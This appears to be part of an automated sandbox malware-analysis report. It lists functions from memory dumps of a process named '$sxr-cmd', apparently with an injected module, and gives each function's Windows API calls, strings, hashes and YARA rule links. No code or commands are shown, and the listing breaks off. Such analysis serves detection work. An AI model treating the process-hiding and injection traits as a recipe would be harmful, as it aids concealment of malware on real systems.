Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$iswdigit$wcstol
String ID:
API String ID: 3841054028-0
Opcode ID: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction ID: d990389f3b9634c68cb7c8d067d4dd4bb97801826c485f4d89d80eb18bccde74
Opcode Fuzzy Hash: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction Fuzzy Hash: AD51A32AA08A5281E7749F2594401B9BAB1FF68FB4B458235DE5D866F4DF3CAC92C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F5984 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF615513687
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF6154F260D), ref: 00007FF6155136A6
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF6154F260D), ref: 00007FF6155136EB
_get_osfhandle.MSVCRT ref: 00007FF615513703
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF6154F260D), ref: 00007FF615513722

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Write_get_osfhandle$Mode
String ID:
API String ID: 1066134489-0
Opcode ID: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction ID: 3e5b5a4ed98cac357e59a2aaa4f133764e63f9eab97feebfd40aaa1596b1c382
Opcode Fuzzy Hash: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction Fuzzy Hash: 7151A269B08A4287EA245F25A55457AEAA1FF44FB4F094435DE4EC37B2DF3CEC408B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B623150 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000020D0B623173
HeapAlloc.KERNEL32 ref: 0000020D0B623186
StrCmpNIW.SHLWAPI ref: 0000020D0B623201
GetProcessHeap.KERNEL32 ref: 0000020D0B623267
HeapFree.KERNEL32 ref: 0000020D0B623275

Strings

$sxr, xrefs: 0000020D0B6231FA

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $sxr
API String ID: 756756679-21942930
Opcode ID: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction ID: 465fd03b997bb63ed42ff3cab571e4018e78409a02091606b8be4e4fc997fed0
Opcode Fuzzy Hash: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction Fuzzy Hash: 6A318D2170BF5186F615DF96E54836973B2BB44BA0F888020DF8D0BB56FB3AC4658704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155034A0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615503578: _get_osfhandle.MSVCRT ref: 00007FF615503584
Part of subcall function 00007FF615503578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF61550359C
Part of subcall function 00007FF615503578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035C3
Part of subcall function 00007FF615503578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035D9
Part of subcall function 00007FF615503578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035ED
Part of subcall function 00007FF615503578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF615503602

AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF615503514
_get_osfhandle.MSVCRT ref: 00007FF615503522
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF615503541
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF61550355E

Part of subcall function 00007FF6155036EC: _get_osfhandle.MSVCRT ref: 00007FF615503715
Part of subcall function 00007FF6155036EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF615503770
Part of subcall function 00007FF6155036EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615503791

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
String ID:
API String ID: 4057327938-0
Opcode ID: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction ID: 371784a28ace271bb4944c8a6d79a8428d1bec086cc18f617cb17837334e53f9
Opcode Fuzzy Hash: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction Fuzzy Hash: CF317E29B08E42CAE7549F25A44107DEAA0EF89F65F59413ADA0EC37B6DF3CEC048700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551BE30 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6154FD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD46E
Part of subcall function 00007FF6154FD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD485
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD4EE
Part of subcall function 00007FF6154FD3F0: iswspace.MSVCRT ref: 00007FF6154FD54D
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD569
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD58C

_wcsicmp.MSVCRT ref: 00007FF61551BE98
_wcsicmp.MSVCRT ref: 00007FF61551BEC5
_wcsicmp.MSVCRT ref: 00007FF61551BEFA

Strings

KEYS, xrefs: 00007FF61551BEE2
LIST, xrefs: 00007FF61551BEF0
OFF, xrefs: 00007FF61551BEBB, 00007FF61551BEDB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpwcschr$Heap$AllocProcessiswspace
String ID: KEYS$LIST$OFF
API String ID: 411561164-4129271751
Opcode ID: c38282f1f6cd5fcd5e02bcbb4014cff48c361062c3933522ffdf7c7e831c5595
Instruction ID: bb71b73e2a9f7ba84e89895be1d6db992f6e3c488bfd02516b8a3ed58c2fe895
Opcode Fuzzy Hash: c38282f1f6cd5fcd5e02bcbb4014cff48c361062c3933522ffdf7c7e831c5595
Instruction Fuzzy Hash: 46213029E08E03D1F6149F29A491175EAB1EF84F70F419235D61EC62F5EF7C9C448700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155001B8 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF6155001C4
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF6155001D6
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF615500212
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF615500228
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF61550023C
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF615500251

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction ID: 0c203eb6a5136d2c96eb4742db2bf7e56381c48ca6cd254f602e5c9a2493eaba
Opcode Fuzzy Hash: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction Fuzzy Hash: 74215C2990CE83C7E6504BA4E984239EB90FF49F79F555236DA0EC26B1DF7CAC448700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615503578 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF615503584
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF61550359C
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035C3
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035D9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035ED
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF615503602

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction ID: e3a393c446e8f2d974546de2b2237dad0d851483aa9407034899d87c26d129a5
Opcode Fuzzy Hash: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction Fuzzy Hash: EA115129A08E42C6EA104B64E544079EA90FF49F79F1A5735DA2EC27F1DF3CDC448700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615509584 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF6155095B4
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6155095C2
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6155095CE
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF6155095DA
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF6155095EA
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0 ref: 00007FF615509605

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction ID: 00dea9e8ba4fe80163a70baf7ab9586ee1dd442fff864759ea66b529cee0933f
Opcode Fuzzy Hash: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction Fuzzy Hash: C6114F26604F41CAEF00DF70E8441A873A4FB09F68F410A31EA6D87B64EF3CDAA58740

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B621A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000020D0B621A3A
K32GetModuleFileNameExW.KERNEL32 ref: 0000020D0B621A58
PathFindFileNameW.SHLWAPI ref: 0000020D0B621A67
lstrlenW.KERNEL32 ref: 0000020D0B621A73
StrCpyW.SHLWAPI ref: 0000020D0B621A86
CloseHandle.KERNEL32 ref: 0000020D0B621A94

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction ID: 8adc426835350826459c8e5c9084611fbb4a68f2a0d3b1f14e0cf7e6298dbd6e
Opcode Fuzzy Hash: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction Fuzzy Hash: EF015B21709B8196FA10DB92E45835963A2FB88FE1F888034CE8D4B755EE3EC9858744

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B623844 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000020D0B623860
GetCurrentProcess.KERNEL32 ref: 0000020D0B62386E
VirtualProtectEx.KERNEL32 ref: 0000020D0B623890
GetCurrentProcess.KERNEL32 ref: 0000020D0B6238B1
VirtualProtectEx.KERNEL32 ref: 0000020D0B6238D2
TerminateThread.KERNEL32 ref: 0000020D0B6238E1

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction ID: 5cf49d1a071ca34c8d8ee550cd69a13bfc7a0020d28b559792b9179741ef7094
Opcode Fuzzy Hash: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction Fuzzy Hash: 4B11396560AB4086FB24DBA1E84C76932B2BB48FA1F840425C95D0E356FF3EC0088718

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6155171F9
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551720D
OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF615517300

Part of subcall function 00007FF615515740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF6155175C4,?,?,00000000,00007FF615516999,?,?,?,?,?,00007FF615508C39), ref: 00007FF615515744

Strings

wil, xrefs: 00007FF61551725E, 00007FF615517338
_p0, xrefs: 00007FF6155171B3

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: OpenSemaphore$CloseErrorHandleLast
String ID: _p0$wil
API String ID: 455305043-1814513734
Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction ID: 13baa382627559649449ab590e254f142322265255bfe4d079cfebee63ec43a9
Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction Fuzzy Hash: 0E61A469B28E8285EF258F6994901B9A7B1FF84FA4F544531DA0E8B7A5EF3CDD058300

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B629178 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000020D0B6291A3
_IsNonwritableInCurrentImage.LIBCMT ref: 0000020D0B629238
RtlUnwindEx.NTDLL ref: 0000020D0B629287

Strings

csm, xrefs: 0000020D0B62921E
f, xrefs: 0000020D0B6291B6

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction ID: 6448cbd064bb5c7f42280aa81c0e2d51b40f6540c676c91d3383f40e97003410
Opcode Fuzzy Hash: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction Fuzzy Hash: 5E518D3261BB008AFB14CB55E448B5937B6F3C4BA8F918134DE1A4B7CAEB36C941CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F1DC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F1E21

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F1F23

Part of subcall function 00007FF6154FD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD46E
Part of subcall function 00007FF6154FD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD485
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD4EE
Part of subcall function 00007FF6154FD3F0: iswspace.MSVCRT ref: 00007FF6154FD54D
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD569
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD58C

iswspace.MSVCRT ref: 00007FF6155105B0

Strings

%s, xrefs: 00007FF6154F1EF3

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heapiswspacememset$AllocProcess
String ID: %s
API String ID: 2401724867-3043279178
Opcode ID: 68dfd2aa9ebba26de86c3f9daebedc58b35cbe7b50de7833d958d4803dd9749a
Instruction ID: 16db4bf517c86123a5de5c680fd259fc2db50d8fda79f79e4256b0d86a9a3ae3
Opcode Fuzzy Hash: 68dfd2aa9ebba26de86c3f9daebedc58b35cbe7b50de7833d958d4803dd9749a
Instruction Fuzzy Hash: 19519136B08A82C6EB618F25D8502B9B7A0EB49FA8F445135DA5D877B4EF3CE855C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FE260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF6154FE29D
iswdigit.MSVCRT ref: 00007FF6154FE310

Strings

GeToken: (%x) '%s', xrefs: 00007FF61550CC39

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit
String ID: GeToken: (%x) '%s'
API String ID: 3849470556-1994581435
Opcode ID: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction ID: a99fd361767858c30d43167fbb092e6352e8450d644a5836acae4ebcf33f7f48
Opcode Fuzzy Hash: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction Fuzzy Hash: 68514836A08E52C9E7A49F59E444179B7A0BB44F65F458436DA4DC37A0EF7CEC60C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF615519A10
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF615519994

Part of subcall function 00007FF61551A73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A77A
